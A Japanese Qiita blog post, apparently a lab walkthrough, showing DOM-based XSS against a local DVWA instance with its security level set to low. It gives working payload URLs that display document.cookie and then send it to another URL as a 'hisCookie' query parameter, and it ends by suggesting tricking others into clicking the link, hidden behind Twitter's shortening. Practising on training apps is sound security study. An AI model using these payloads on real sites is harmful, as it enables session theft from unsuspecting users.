0
0

More than 3 years have passed since last update.

DVWAでXSS(DOM)

Posted at

前提

目標

  • xssでセッションを奪取する

手順概要

  • xssの可否チェック
  • cookieが取れるか確認する
  • 別のドメインへcookieを飛ばす

内容

xssとは

  • クロスサイトスクリプティングの略称
  • scriptを使って、サイト間で不正なデータを送り込むなど、小細工する
  • 今回の場合はブラウザにあるcookieをクエリに乗っけて別urlへ送信する

前準備

  • DVWAにログインする
  • セキュリティレベルを下げる。
    • メニュー下にあるDVWA securityへアクセス
    • デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start 

image.png

  • XSS(DOM)にアクセスする(左メニューにある)

image.png

XSS開始

  • 挙動を確認する
  • スクリプトでcookie取得する。
    • 下記urlを実行することでcookie情報が露わになった。
    • ただ、これだど自分のブラウザのcookieしか取れないので、問題ない。
// cookie取得
document.cookie
// アラートで表示確認
alert(document.cookie)
// urlは以下のようにする
// http://localhost/DVWA-master/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>

image.png

  • スクリプトを使って、別ページへ遷移させる
    • 下記urlを実行することで別途サイトのurlにcookieを載せることができた
    • 後は受け取りサイト側でクエリを取得し保存するロジックを組み込めば勝手に収集できる。
// ページ遷移(自分が飛ばしたいurl=>http://localhost)
window.location = "http://localhost"
// 上記にcookieを乗っける
window.location = "http://localhost?hisCookie="+document.cookie
// urlは以下のようにする
// http://localhost/DVWA-master/vulnerabilities/xss_d/?default=<script>window.location = "http://localhost?hisCookie="+document.cookie</script>

image.png

  • 上記で作成したurlを他人に踏ませる
    • 後は上記のスクリプト付きurlを誰かに踏ませればよい。
    • 例えば、twitterならurlが略されるのでスクリプトは隠れるため、ばれ辛い(twitter側がエスケープしてそうだけど)

おわり

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0